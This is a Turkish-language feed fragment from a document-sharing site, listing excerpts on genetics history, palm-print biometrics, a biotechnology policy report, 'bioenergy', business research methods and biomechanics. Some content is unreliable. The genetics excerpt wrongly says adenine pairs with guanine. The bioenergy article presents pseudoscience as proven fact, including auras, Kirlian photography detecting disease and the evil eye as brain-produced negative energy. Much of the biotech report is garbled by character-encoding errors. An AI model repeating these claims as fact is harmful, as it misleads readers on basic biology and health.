bilimlerinde dönüm noktası olan bu çalışma ancak  1900 yılında birbirlerinden habersiz üç araştırmacının bulmalrıyla önemi  anlaşıldı. Yeni doğan genetik bilimi hızla gelişti.1902&quot;de  ABD&quot;li Walter Sutton, Mendelin sözünü ettiği kalıtım materyalinin çekirdekteki kromozomlarda bulunduğunu öne sürdü.1909&quot;da  Danimarkalı genetikçi Wilhem Ludwing  Johannsen .Fenotip ve genotip gibi iki önemli kavramı tanımladı ve Mendel&quot;in  kalıtım etkenleri için terimini önerdi.1910&quot;da ABD&quot;li genetikçi Hunt Morgan sirke sineği üstünde çalışmaya başlayarak genlerin kromozomlarda bulunduğunu, üstelik aynı kromozomda birbirine yakın olan genlerin bağlantı grubu oluşturarak birlikte aktarıldığını gösterdi.Parça alış verişi denilen bir süreçle kromozom çiftleri arasında gen değiş tokuşu olduğunu kanıtlayan da Morgan&quot;dır.1940&quot;larda ABD&quot;li iki genetikçi,George W. Beadle ile Edward L. Tatum ,genlerin hücre içindeki kimyasal tepkimelerde katalizör rolü oynayan proteinler(enzim) yapımını yönlendirerek kalıtımı belirlediğini kanıtladılar.1944&quot;te Osward T. Avery,kromozomların genetik bilgiyi taşıyan bileşeninin dezoksiribonükleik asit(dna)olduğunu gösterdi.DNA&quot;nın molekül yapısı ise 1953&quot;te ABD&quot;Lİ James D. Watson ile İngiliz H. C. Crick&quot;ın ortak çalışmalarıyla aydınlatılabildi.1961&quot;de Fransız genetikçi François Jacob ile Jacques Monod, DNA&quot;nın bakteri hücrelerinde protein bireşimini nasıl yönlendirdiğini açıklayan bir model geliştirdiler. Bu çalışmalar DNA molekülünde kayıtlı olan genetik kodun çözülmesini, bu da genetik mühendisliği için sınırsız bir potansiyel taşıyan DNA birleşimleme tekniklerinin geliştirilmesini sağladı. Bugün kalıtıma ilişkin birçok sorunla ilgilenen çağdaş genetik bilimi yalnız biyolojinin çeşitli dallarıyla değil,kimya,fizik,matematik,sosyoloji,psikoloji,tıp gibi başka bilimlerle de iç içe geçmiş engin bir inceleme alanıdır. Genetiğin bütün dallarının temeli olan klasik genetik,özellikle başat,çekinik,bastırılmış ya da çokgenli kalıtsal özelliklerin nasıl aktarıldığını ve fenotipte nasıl dışavurduğunu inceler.Tüm bu kalıtsal özellikleri taşıyan genetik şifreyi yakından tanımak gerekmektedir:    &lt;br/&gt;Gen:&lt;br/&gt;DNA,  hücre çekirdeklerinin hepsinde bulunan  kromozomları oluşturur.Her bir kromozonda, tek,uzun bir DNA molekülü vardır. Bir DNA molekülünün belirli bir genetik özellik içeren kesitine GEN adı verilir. Her bir hücrenin DNA merdiveni hem anneden hem babadan gelen genleri içerir.Merdivenin basamakları,timin (T), adenin (A), sitozin (C), ve guanin ( G),adı verilen bazların kusursuz düzenlenmesiyle oluşur.Her bir aşamanın tamamlanması için bir baz çifti, belirli bir kombinasyonla eşleşir. T her zaman A ile, A da her zaman  G ile eşleşir. Buna karşılık, C herzaman G ile ve G de her zaman C ile eşleşir. BU eşleşme, DNA&quot;nın kendini kopyala işleminde önemli rol oynar.&lt;br/&gt;&lt;br/&gt;Genler, DNA&quot;daki bazı kimyasal dizilimler olan nükleotidlerden meydana gelmiştir. DNA çift sarmalının dikkate değer ve önemli bir özelliği, molekülü oluşturan zincirlerin birbirlerinden kolaylıkla ayrılabilmesi ve yeniden birleşebilmesidir</description></item><item><title>AVUÇ İÇİ ÖZELLİKLERİNİN SINIFLANDIRILMASINA DAYALI BİYOMETRİK TANIMA</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?avuc-ici-ozelliklerinin-siniflandirilmasina-dayali-biyometrik-tanima-441011.html</link><description>AVUÇ İÇİ ÖZELLİKLERİNİN SINIFLANDIRILMASINA DAYALI BİYOMETRİK TANIMA&lt;br/&gt;&lt;br/&gt;ÖZETÇE&lt;br/&gt;Bu çalışmada, yeni bir biyometrik yöntem olan avuç içi izine göre kişilerin&lt;br/&gt;tanınması önerilmektedir. Avuç içi özelliklerinin belirlenmesi görüntü işleme ve&lt;br/&gt;yorumlama olarak iki ana aşamadan oluşur. Görüntü işleme aşamasında sırası ile&lt;br/&gt;avuç içi (aya) sınırlarının bulunması, görüntünün ikileştirilmesi, eldeki&lt;br/&gt;parmakların görüntüden kaldırılması, aya bölgesinde tüm kenar bilgilerinin&lt;br/&gt;üretilmesi, gürültü bastırma, inceltme ve görüntüdeki kenar bilgilerinde oluşan&lt;br/&gt;kopuklukları ve çatallaşmaları gidermek amacıyla onarılması işlemleri yapılır.&lt;br/&gt;Öngörülen algoritmanın görüntü işleme aşamasının sonunda tanıma modeli için&lt;br/&gt;gerekli olan aya çizgi hatları belirlenir. Çalışmanın ikinci aşamasında ön&lt;br/&gt;sınıflandırma özelliği olarak görüntü işleme modelinin ürettiği aya&lt;br/&gt;morfolojisindeki dört ana çizgi ele alınır. Sonra ise elde edilen bu çizgilerden&lt;br/&gt;ilişkisel grafa dayalı model oluşturulmakta ve sınıflandırma yapılarak tanıma&lt;br/&gt;işlemi gerçekleştirilir.&lt;br/&gt;1. Giriş&lt;br/&gt;İnsanın tanınması bir çok bilim dalının önemli araştırma konularındandır. Buna&lt;br/&gt;en iyi örnek olarak suçluların bulunmasında kullanılan kriminal tanıma yöntemleri&lt;br/&gt;gösterilebilir. Yorumlamaya dayalı akıllı tanıma sistemlerinin tasarımı yapay zeka&lt;br/&gt;araştırmacılarını ilgilendiren önemli konulardandır [1, 2].&lt;br/&gt;İnsanın biyometrik özelliklerinin tanınmasına yönelik farklı yaklaşımlar söz&lt;br/&gt;konusudur. Bu yaklaşımlar; sesin, el yazısının ve insanın fiziksel özelliklerinin (yüz,&lt;br/&gt;parmak izi, retina..vb) işlenmesine dayalı olmaktadır. Biyometrik yaklaşımlarla&lt;br/&gt;kişilerin kimlik saptamasında doktiloskopi&quot;nin büyük önemi vardır. Doktiloskopi,&lt;br/&gt;bireylerin parmaklarındaki izlerin morfoloji özelliklerine göre tanınmasıyla uğraşan&lt;br/&gt;bilim dalıdır. Kimlik tespitindeki araştırmalar, çoğunlukla parmak izlerinin tanınması&lt;br/&gt;üzerinde yoğunlaşmıştır [3,4,5].&lt;br/&gt;Parmak izi FBI&quot;ın sınıflandırmasına göre 8 genel alt sınıfa (Düz açık yay, eğimli&lt;br/&gt;yay, merkezden çıkan döngü, dirsekli döngü, düz sarmal(helezonlu), merkez grup, çift&lt;br/&gt;döngü ve rasgele sarmal) bölünmektedir. Bu sekiz sınıflandırmada genellikle her kişiye&lt;br/&gt;ait on parmak bilgisi kullanılmaktadır[1]. Genel biçimde, parmak izinin tanınması da&lt;br/&gt;diğer daktiloskopi yöntemleri gibi aşağıdaki aşamaları içermektedir; görüntüdeki&lt;br/&gt;kenarların elde edilmesi, yönlü görüntünün hesaplanması, yönlü görüntünün&lt;br/&gt;bölümlenmesi, ilişkisel grafın oluşturulması, graf eşleştirmesi ve sınıflandırma.&lt;br/&gt;International XII. Turkish Symposium on Artificial Intelligence and Neural Networks - TAINN 2003&lt;br/&gt;2&lt;br/&gt;Anlaşıldığı gibi, benzeri işlemler çok zaman almakta ve toplam hata oranını&lt;br/&gt;yükseltmektedir. Örneğin parmak izi için elde edilen yüksek tanıma başarısı genellikle&lt;br/&gt;on parmak üzerinden tanıma işleminin gerçekleştiğindendir.&lt;br/&gt;Tanıma işlemlerinin hızlandırılması amacıyla ön kümelemeye gerek&lt;br/&gt;duyulmaktadır. Kimlik tespitinde avuç içi bilgileri yardımı ile ön sınıflandırma&lt;br/&gt;yapılarak tanıma verimliliğinin artırılması ve daha kısa sürede gerçekleştirilmesi&lt;br/&gt;mümkündür.&lt;br/&gt;Avuç içi, parmak ucu bölgesine nazaran büyük görüntü alanına sahip olmasına&lt;br/&gt;karşın morfolojik yapısından dolayı daha basit ve hızlı biçimde onarılabilmektedir.&lt;br/&gt;Ayrıca parmak izinin birim alandaki bilgi yoğunluluğunun avuca oranla daha fazla&lt;br/&gt;olması, veri tabanı hacminin büyümesine, bilgisayara getireceği yükün (zamansal ve&lt;br/&gt;işlemsel) artmasına ve algılama verimliliğinin azalmasına neden olmaktadır [6]. Avuç&lt;br/&gt;içi çizgi bilgilerinde çakışma olduğu durumlarda, sınıflar içerisinde parmak izine dayalı&lt;br/&gt;arama işlemi gerçekleştirilerek tanıma sürecinin hızlandırılabileceği düşünülmektedir.&lt;br/&gt;Avuç içinin tanınmasında önerilen sistemin aşamaları Şekil1&quot;de verilmiştir.&lt;br/&gt;Şekil 1. Avuç içi çizgilerinin tanınmasının genel yapısı&lt;br/&gt;Çalışmada önerilen yaklaşımın görüntü işleme bölümü, avuç içi (aya)&lt;br/&gt;sınırlarının bulunması, görüntünün ikileştirilmesi, eldeki parmakların görüntüden&lt;br/&gt;kaldırılması, aya bölgesinde tüm kenar bilgilerini üretilmesi, gürültü bastırma, inceltme&lt;br/&gt;ve görüntüdeki kenar bilgilerinde ol</description></item><item><title>BİYOTEKNOLOJİ VE BİOGÜVENLİK ÖZEL İHTİSAS KOMİSYONU RAPORU</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?biyoteknoloji-ve-bioguvenlik-ozel-ihtisas-komisyonu-raporu-446442.html</link><description>BİYOTEKNOLOJİ VE BİOGÜVENLİK ÖZEL İHTİSAS KOMİSYONU RAPORU&lt;br/&gt;&lt;br/&gt;1. GİRİŞ&lt;br/&gt;Biyoteknoloji; canlÃµ organizmalarÃµn veya canlÃµlÃµğÃµn moleküler temellerini oluşturan&lt;br/&gt;kavram ve işleyiş kurallarÃµnÃµn kullanÃµmÃµ ile geliştirilen teknolojileri ve teknolojik ürünleri&lt;br/&gt;kapsayan bir teknoloji alanÃµdÃµr. İnsanlÃµk tarihiyle eşdeğer bir geçmişe sahip olan geleneksel&lt;br/&gt;biyoteknoloji, son elli yÃµlda moleküler biyoloji ve genetik alanlarÃµnda gerçekleşen bilimsel&lt;br/&gt;ilerlemeler sayesinde, yepyeni bir anlam ve önem kazanmÃµştÃµr. Bu nedenle &amp;#147;biyoteknoloji&amp;#148;, ya&lt;br/&gt;da &amp;#147;modern biyoteknoloji&amp;#148;, bilişim teknolojisi ile birlikte, 21. yüzyÃµlda insanlÃµğÃµn refahÃµnda en&lt;br/&gt;önemli katkÃµyÃµ sağlamasÃµ beklenen teknolojilerin başÃµnda gelmektedir.&lt;br/&gt;Geleneksel Biyoteknoloji ile Modern Biyoteknoloji bir çok açÃµdan farklÃµ alanlar olarak&lt;br/&gt;değerlendirilmektedir. Geleneksel biyoteknoloji doymuş ve oturmuş bir teknoloji, modern&lt;br/&gt;biyoteknoloji ise; yenilikçiliğe (innovasyon) açÃµk, çok hÃµzlÃµ büyümesine karşÃµn potansiyeli&lt;br/&gt;sÃµnÃµrsÃµz, ancak &amp;#147;moleküler biyoloji&amp;#148;de yapÃµlan temel bilim araştÃµrmalarÃµna ve altyapÃµsÃµna sÃµkÃµ&lt;br/&gt;sÃµkÃµya bağÃµmlÃµ bir teknolojidir.&lt;br/&gt;Modern biyoteknoloji-özellikle transgenik bitkilerle-ülkelerin geleneksel tarÃµm&lt;br/&gt;eknomilerini derinden etkileyebilecek bir noktaya gelmiştir. Modern biyoteknolojinin tÃµptaki&lt;br/&gt;uygulamalarÃµ ise, ekonomik verilerle ölçülemeyecek kadar değerli olan insan sağlÃµğÃµnÃµn&lt;br/&gt;korunmasÃµnda, önemli katkÃµlarla büyüyerek devam etmektedir. Bir kaç yÃµl içinde ülke&lt;br/&gt;kapÃµlarÃµna dayanmasÃµ beklenen, ikinci ekonomik ürün grubu da, transgenik hayvanlar&lt;br/&gt;olacaktÃµr. Transgenik mikroorganizmalar ise, gerek &amp;#147;hücre fabrikalarÃµ&amp;#148; (cell factories) olarak,&lt;br/&gt;gerekse atÃµk arÃµtÃµmÃµnda, önemli rol oynayacaktÃµr.&lt;br/&gt;Modern biyoteknoloji, hayvancÃµlÃµkta ve endüstriyel üretimde, ekonomik verimliliği&lt;br/&gt;çok yüksek düzeylere çekerken, bilim ve teknolojide geri kalmÃµş ülkelerde dÃµşa bağÃµmlÃµlÃµğÃµ&lt;br/&gt;arttÃµracaktÃµr.&lt;br/&gt;Diğer taraftan, modern biyoteknoloji, bilinçsiz ve kontrolsuz uygulanmasÃµ&lt;br/&gt;durumunda, çevrenin korunmasÃµ ve biyoçeşitlilik açÃµlarÃµndan, bazÃµ riskler taşÃµmaktadÃµr.&lt;br/&gt;GözardÃµ edilemeyecek diğer bir risk de, modern biyoteknolojinin, barÃµşcÃµ olmayan amaçlarla,&lt;br/&gt;ekonomik ve askeri savaş aracÃµ olarak kullanÃµlmasÃµdÃµr. AyrÃµca, genetik olarak değiştirilmiş&lt;br/&gt;organizmalarÃµn (GDO) ve GDO ürünlerinin insan sağlÃµğÃµ üzerindeki, özellikle uzun dönemde,&lt;br/&gt;yaratabilecekleri etkiler konusunda henüz yeterli bilgi yoktur.&lt;br/&gt;Sözü edilen nedenlerden dolayÃµ, ülkemizde acil olarak modern biyoteknoloji ile ilgili&lt;br/&gt;&amp;#147;biyogüvenlik&amp;#148; önlemlerinin alÃµnmasÃµ, gerekli yasal düzenlemelerin yapÃµlmasÃµ, daha da&lt;br/&gt;önemlisi, yasalarÃµn takibi açÃµsÃµndan &amp;#147;kontrol sistemleri&amp;#148;nin devreye sokulmasÃµ gerekmektedir.&lt;br/&gt;Ancak, modern biyoteknoloji konusundaki tutum ve önlemler, biyogüvenlik konusundaki&lt;br/&gt;yasal düzenlemelerle sÃµnÃµrlÃµ olmamalÃµdÃµr. Yasal düzenlemelerin takibi için gerekli olan kontrol&lt;br/&gt;sistemleri için, modern biyoteknolojide uzman olan kadrolarÃµn ve kontrol laboratuvarlarÃµnÃµn&lt;br/&gt;oluşturulmasÃµ gerekir. Uzun vadede ülke insanlarÃµnÃµn refahÃµ ve ulusal ekonominin gelişmesi&lt;br/&gt;açÃµlarÃµndan, &amp;#147;modern biyoteknoloji&amp;#148; yatÃµrÃµmlarÃµnÃµn zamanÃµnda yapÃµlmasÃµ da yerinde bir karar&lt;br/&gt;Sekizinci Beş YÃµllÃµk KalkÃµnma PlanÃµ Biyoteknoloji ve Biyogüvenlik ÖİK Raporu&lt;br/&gt;http://ekutup.dpt.gov.tr/bilim/oik533.pdf 5&lt;br/&gt;olacaktÃµr.&lt;br/&gt;Diğer yandan, bazÃµ toplumlarda ve ülkemizde, modern biyoteknolojinin bazÃµ&lt;br/&gt;uygulamalarÃµna karşÃµ bazÃµ olumsuz tepkiler oluşmaya başlamÃµştÃµr. Modern biyoteknoloji&lt;br/&gt;ürünlerine olan bu karşÃµ çÃµkÃµş, seçici bir karşÃµ çÃµkÃµştÃµr. Örneğin rekombinant DNA teknolojisi&lt;br/&gt;ile üretilen hepatit B aşÃµsÃµ ve interferonlar gibi insan sağlÃµğÃµnÃµ korumada ve tedavi amaçlÃµ&lt;br/&gt;olarak kullanÃµlan GDO ürünlerine herhangi bir olumsuz tepki gösterilmezken, aynÃµ teknoloji&lt;br/&gt;ile üretilen bitkisel kaynaklÃµ GDO ürünlerine karşÃµ, olumlu tepkilerin yanÃµnda, olumsuz&lt;br/&gt;tepkiler de gözlenmektedir.&lt;br/&gt;Bu farklÃµ tutumun bir çok nedeni olabilir. Bu nedenlerin başÃµnda bazÃµ biyoteknoloji&lt;br/&gt;ürünlerinin çevreye salÃµnmasÃµ sonucu olarak, istenmeyen biyolojik sonuçlarÃµn ortaya çÃµ</description></item><item><title>BİOENERJİ</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?bioenerji-442496.html</link><description>Biyoenerji&lt;br/&gt;&lt;br/&gt;Biyoenerjinin kelime anlamı; doğal olan enerjidir. Bilim; insan organizmasının yalnız moleküllerden oluşan, fiziksel bir yapıya sahip olmadığı, tüm kainatta olduğu gibi,bir enerji alanına sahip olduğunu doğrular.&lt;br/&gt;Vücut içerisindeki, devamlı bir titreşim ve düşük voltajlı elektromanyetik akım vardır. Elektromanyetik akım; fiziksel bedenle sınırlanmamıştır. Böylece, bir bedenden diğerine akış yapılabilir. Bu elektromanyetik akım; bedenin sağ tarafında toplanmıştır. Biyoenerji akışı insanla sınırlı değildir. Tüm maddeye akar. Bitkilerin insanlarınkine zıt bir kutbu vardır. Onlarla aramızda hür bir kanal açılır.&lt;br/&gt;Sağlıklı bir vücutta negatif bir enerji bulunmaz. Vücudun herhangi bir yerinde problem varsa; o bölge negatif enerji üretmeye başlar. Daha doğrusu; beyin ile o bölgenin iletişimi kopmuş demektir. Bun nedenle; bedenimizin tümünü ayakta tutan beyinin düşünce ve yapılandırma bölümü ile aradaki bağı kopartmamak gerekir.&lt;br/&gt;Prana; Sanskrit dilinde kelime anlamı yaşam gücü demek olan, iyi sağlık durumunu muhafaza eden ve bedeni canlı tutan görünmez biyoenerji ya da yaşamsal enerjidir.&lt;br/&gt;Japonlar; bu esrarengiz enerjiye Kİ, Çinliler CHİ, Yunanlılar PREVMA, Polonyalılar MANA, İbraniler RUAH derler. Yaşam nefesi anlamında pranik şifacılık, çok çeşitli hastalıkların tedavisinde, yaşamsal enerji yada enerji şifacılığının (ki Prana&quot;nın kullanımıdır) bir çeşididir.&lt;br/&gt;Görünmez Enerji Nedir?&lt;br/&gt;Bilimsel kanıt, biyoenerjinin varlığını ve fiziksel bedenin iyi ve sağlıklı oluşuyla ilgisini anlaşılır şekilde ispatlar. Seçkin Rus bilim adamları tarafından yönetilen bilimsel deneylere dayanarak, Semyon Kirlian; fotoğrafladığı insanların, hayvanların ve bitkilerin ultrahassas bir kamera yöntemiyle fiziksel bedenin etrafındaki renkli ışık enerji alanını göstermiştir. Bu tekniğe Kirlian Fotoğrafçılığı adı verilmektedir. Enerji alanı (Aura) görülebilir fiziksel bedene nüfuz ederek, cilt yüzeyinden yaklaşık 8 yada 10 cm yayılır. Kirlian fotoğrafçılığındaki deneyler, fiziksel olarak hastalık ortaya çıkmadan beden enerjisindeki ilk görünen hastalıklı enerjileri de ortaya çıkarmıştır. Bir kişinin düşünceleri ve hisleri, beden enerjisini önemli ölçüde etkilemektedir.&lt;br/&gt;Nazar&lt;br/&gt;Din kitaplarında,değişik tarzlarda ifade edilen bir negatif enerjidir. Nazarı iki türlü incelemek gerekir:&lt;br/&gt;Birincisi: İnsanın kendi kendine veya çocuğu gibi çok yakınına hiç bir kötü amaç taşımadan ürettiği negatif enerji şeklidir. Beyinde sürekli kodlanan bir kelime mevcuttur: Maşallah Bu kelime söylendiği anda nazar değmeyeceğine beyin şartlandırılırsa veya başka bir deyimle kodlanırsa, beyin bu kelime söylendiğinde negatif enerji üretimini yapmamaktadır. Ama o Maşallah kelimesi söylenmediği anda negatif enerji üretmeye başlıyor. Burada şunu belirtmeden geçemeyeceğiz; nazara kesinlikle inanmayan insanlarda bu enerji üretim tarzı harekete geçmeyecektir. Dolayısıyla böyle insanlara nazar değme olasılığı çok zayıf olacaktır.&lt;br/&gt;İkincisi: İnsanın bir başkasına nazar etmesi. Beyin kıskançlık duygusu ile hareket ettiğinde yine negatif enerji üretimine yol açar. Bazı insanlarda bu türde kıskançlık duygusu çok yüksek olduğundan o insanların nazarı daha çok değer. Daha doğrusu yaydıkları negatif enerji çok yoğun olur. Bir hayli maddi veya manevi zarar verebilirler. İnsan beyni negatif veya pozitif enerjiyi sadece %50 kadar üretir.&lt;br/&gt;Pozitif Enerji&lt;br/&gt;İnsanda mevcut olan olumlu bir enerjidir. Yalnız; zaman, zaman bu enerjinin de çok olması çeşitli hastalıklara da yol açabilir. Örneğin bu insanların vücutlarındaki yüksek pozitif enerji manyetik kartları, pilleri bozmakta bu şahıslar bu türde cihazlar kullanamamaktadırlar. Bu şekilde yüksek pozitif enerjiye sahip olanlar; eğitim alarak şifacı olarak çalışabilirler veya üzerlerinde mevcut bu yüksek pozitif enerjiyi atmak zorundadırlar. Pozitif enerjisi normal düzeyde olan insanlar; son derece ılımlı ve kesinlikle hem sağlıkları yerinde, hem de etraflarına neşe saçan insanlardır. Bu insanların, stres problemleri yoktur. Zihinsel olarak ta son derece</description></item><item><title>STATİK ANALİZ, ÜRETKEN SENTEZ , FİYAT MEKANİZMASİ ÇÖZÜMÜ</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?statik-analiz,-uretken-sentez-,-fiyat-mekanizmasi-cozumu-376467.html</link><description>Tarih : 24/10/2000         Dersin Adı:İşletmecilik Araştırma    Yöntemleri.&lt;br/&gt;&lt;br/&gt;     Kaynak       :  Cihan Dura, İktisadi Araştırma Teknikleri, (YL Ders Notları), Kayseri, 1995 , 56s.&lt;br/&gt;               &lt;br/&gt;      Soru No       : 36          Konu :   Statik Analiz , Üretken Sentez , Dedüksiyon , Katlı Regresyon  Analizi,   Anoloji  analiz tekniklerinin tanımlanması ve işletme biliminden örnekler.(ss.1-10)&lt;br/&gt;&lt;br/&gt;      Kaynak Bulma Puanı  : (..............)  puan&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;    &lt;br/&gt;STATİK ANALİZ : Bilimsel araştırmada kullanılan analiz metodlarından biridir. Statik analizde bir bütün , belli bir zamandaki durumuna göre , belli bir bakış açısından elemanlarına ayrılır.&lt;br/&gt;&lt;br/&gt;                ÖRNEK :  A işletmesi&quot;nin 31.12.1999 Tarihli Bilançosunda toplam varlıkların şu şekilde finanse edilmiş olduğu görülmüştür.&lt;br/&gt; &lt;br/&gt;                                               Birinci bakış açısına göre :  &lt;br/&gt;                                                         % 40 Yabancı Kaynak   &lt;br/&gt;                                                         % 60  Öz Kaynak &lt;br/&gt;                                                İkinci bakış açısına göre :                  &lt;br/&gt;                                                          % 70       KVYK      (Kısa Vadeli Yabancı Kaynak)&lt;br/&gt;                                                          % 30      OUVYK     (Orta ve Uzun Vadeli Yabancı Kaynak)&lt;br/&gt;&lt;br/&gt;Bu bakış açılarına göre statik analizden şu sonuçlara ulaşılabilir :&lt;br/&gt;-Bu firmanın sermaye yapısı öz kaynak ağırlıklıdır. Diğer firmalardan fon sağlayabilmesi kolay olacaktır.&lt;br/&gt;-Firma borçlarının büyük bir kısmını kısa vadeli borçlanmıştır. Kısa vadede yeniden kaynak arayışına girmesi söz konusu  olabilecektir.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;ÜRETKEN SENTEZ  :Bir bütünün parçaları , yeni bir düzenleme şekliyle , bir araya getirilerek  farklı ve yepyeni bir sistem meydana getirilirse bu işleme &quot;Üretken Sentez&quot; denir.&lt;br/&gt;&lt;br/&gt;             ÖRNEK : Bir işletme A : 7-9 yaş , B: 11-13 yaş , C : 17-19 yaş ve D : 21-23 yaş gruplarına hitap eden dört pazarda faaliyet gösterirken  A ve B&quot;yi çocuklara  , C ve D&quot;yi gençlere yönelik Pazar olarak kabul ederse üretken sentez yapmış olur.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;DEDÜKSİYON : İktisat ve işletme bilimlerinde herkes tarafından doğruluğu kabul edilmiş olan  hipotezler , kanun veya teoriler vardır. Eğer bu genel bilgiler tekil olgulara uygulanır ve onları izah etmek için kullanılırsa ; yani teoriden pratik hayata doğru gidilirse : bu takdirde , dedüksiyon metodu sözkonusu olur.&lt;br/&gt;&lt;br/&gt;            &lt;br/&gt;          ÖRNEK : Finansal yapının oluşturulmasında kısa vadeli varlıklar  kısa vadeli fonlarla finanse edilmelidir. Buna göre eğer bir işletme kısa vadeli varlık satın aldıysa işletmenin bu varlığı kısa vadeli fonlarla karşılamış olduğunu ileri sürebiliriz.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;KATLI REGRESYON ANALİZİ : Bir değişkenin birden fazla açıklayıcı değişkenle ele alınıp incelenmesine &quot;Katlı Regresyon Analizi&quot; adı verilir. Böyle bir durumda katlı  söz konusu olur.&lt;br/&gt;                 Katlı  : Bu lerde birden fazla bağımsız değişken vardır.&lt;br/&gt;&lt;br/&gt;           &lt;br/&gt;        ÖRNEK : Borsa endeksinin yükselmesi ya da düşmesi yalnızca hükümetin istikrarına bağlı olarak veya yalnızca senet satışlarının artışına bağlı olarak değil , her ikisine bağlı olarak tahmin edilecektir.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;ANALOJİ : Anoloji , ortak niteliklerinden dolayı iki olgu veya nesne arasındaki benzerlikle ilgilidir. İki olgunun,bazı yönlerden, bilinen benzerliklerine dayanarak ; başka yönlerden de aralarında benzerlik olabileceği sonucuna varmak  analoji yöntemidir.&lt;br/&gt;&lt;br/&gt;                 ÖRNEK : Hisse senedi ve gelir ortaklığı senedi (GOS) uzun vadeli yatırım araçlarıdır. İkisi de sermaye pazarlarında işlem görmektedirler. Her iki senedinde sahibine ödenecek kar payı önceden belirlenmemiştir ( ortak özellikler ).   &lt;br/&gt;                  Ayrıca gelir ortaklığı senedi , işlemiş geliri ile birlikte her an paraya çevrilebilir. O halde hisse senedinin de işlemiş geliri ile  birlikte her an paraya çevrilebileceğini ileri sürebiliriz. &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Tarih: 13.11.2001Dersin Adı:Mikroekonomi&lt;br/&gt;&lt;br/&gt;Kaynak (yazar ve yapıt): Orhan Türkay, İktisat Teorisine Giriş.&lt;br/&gt;&lt;br/&gt;Soru No:                       Soru: &quot;İktisat Teorisine Giriş&quot; kitabının 27-30.  sayfalarının özeti&lt;br/&gt;&lt;br/&gt;Kaynak Bulma Puanı: ......Not: ........&lt;br/&gt;&lt;br/&gt;S    B    İ    T    K    Y &lt;br/&gt;&lt;br/&gt;                                     &lt;br/&gt;FİYAT MEKANİZMASI ÇÖZÜMÜ&lt;br/&gt;&lt;br/&gt;İhtiyaçlara  oranla kaynakların kıt oluşu toplumları bir seçim yapmaya zorlamaktadır. Hangi mallar üretilecektir, nasıl üretilecektir ve kimin için</description></item><item><title>SEGMENTASYON YÖNTEMİYLE İKİ BOYUTLU GÖRÜNTÜ ÜZERİNDE AĞIRLIK MERKEZİNİN HESAPLANMASI</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?segmentasyon-yontemiyle-iki-boyutlu-goruntu-uzerinde-agirlik-merkezinin-hesaplanmasi-386044.html</link><description>Segmentasyon Yöntemiyle İki Boyutlu Görüntü Üzerinde Ağırlık Merkezinin Hesaplanması&lt;br/&gt;&lt;br/&gt;İki boyutlu resim üzerinde ağırlık merkezinin hesaplanabilmesi için öncelikle vücuttaki her uzuvun uzunluğu hesaplanmalıdır. Bunu hesaplayabilmek için bu projede Ganalizi programı ile uzuvların eklem noktalarının koordinatları hesaplanmıştır. Aşağıda Tablo 1&quot;de Ganalizi programından elde edilmiş koordinatlar bulunmaktadır. (Tablodaki koordinat değerleri pixel değeri üzerindendir.)&lt;br/&gt;&lt;br/&gt;BÖLGEX EkseniY Ekseni&lt;br/&gt;FIXED POINT00&lt;br/&gt;R TOE384269&lt;br/&gt;R HEEL379212&lt;br/&gt;R ANKLE360223&lt;br/&gt;R KNEE279186&lt;br/&gt;R HIP220119&lt;br/&gt;R SHOULDER10478&lt;br/&gt;R ELBOW75125&lt;br/&gt;R WRIST4294&lt;br/&gt;L TOE175274&lt;br/&gt;L HEEL223246&lt;br/&gt;L ANKLE201237&lt;br/&gt;L KNEE140184&lt;br/&gt;L HIP207125&lt;br/&gt;L SHOULDER12067&lt;br/&gt;L ELBOW15229&lt;br/&gt;L WRIST1963&lt;br/&gt;CHIN105103&lt;br/&gt;FOREHEAD69103     &lt;br/&gt;&lt;br/&gt;Tablo 1Eklem noktalarının koordinatları&lt;br/&gt;&lt;br/&gt;Koordinatların hesaplanmasının ardından da bu koordinatlardan üye uzunlukları tespit edilmiştir. Üye uzunluğunun hesaplanmasında,&lt;br/&gt; __________________&lt;br/&gt;&amp;#61654;(x2 &amp;#8211; x1)2&amp;#61472;&amp;#61483;&amp;#61472;&amp;#61480;y2 &amp;#8211; y1) 2         formülü kullanılmış ve her üye hesaplanmıştır.&lt;br/&gt;&lt;br/&gt;Hesaplanan üye uzunlukları, her üyenin kendi ağırlık merkezi oranlarıyla çarpılması sonucunda üyenin ağırlık merkezinin göz önünde bulundurulan ekleme göre ne kadar uzakta olduğu tespit edilmiştir. Bu projede kullanılan ağırlık merkezleri oranları Clauser ve arkadaşlarının (1969) belirttiği değerlerdir.&lt;br/&gt;Tespit edilen ağırlık merkezinin uzuv üzerinde düştüğü noktanın koordinatlarının tespiti için ise doğru denklemi kullanılmıştır. Bu denklemin oluşturulabilmesi için öncelikle uzvun düzlemle yaptığı &quot;&amp;#61537;&quot; açısının bulunması gereklidir. Bu açı &lt;br/&gt;&amp;#61537;&amp;#61472;&amp;#61501;&amp;#61472;arctan   _y2 &amp;#8211; y1_              formülüyle bulunmuştur.&lt;br/&gt;          x2 &amp;#8211; x1&lt;br/&gt;&lt;br/&gt;Ardından da bulunan açıdan geçen doğru üzerinde ağırlık merkezinin düştüğü noktanın koordinatları tespit edilmiştir. &lt;br/&gt;Bunun için de &lt;br/&gt;Xcg = ağırlık mer. * cos( &amp;#61537;&amp;#61472;) + X1                    Ycg = ağırlık mer. * sin( &amp;#61537;&amp;#61472;) + y1&lt;br/&gt;       &lt;br/&gt;formülleri kullanılmıştır.&lt;br/&gt;Elde edi</description></item><item><title>GENLERİN DÜZENLENMESİ</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?genlerin-duzenlenmesi-454843.html</link><description>ENLERİN DÜZENLENMESİ&lt;br/&gt;Moleküler biyolojinin en önemli buluşlarından biri, bazı genlerin bazıları üzerinde daha etkili olduğunun keşfedilmesidir. Bunun sebebi, genlerin çok komplike bir sıra ile organize olmalarıdır. Genetik hiyerarşinin temelinde genellikle tekrar eden belirli işlevlerle görevlendirilmiş genler vardır: hemoglobin yapmak, saçın 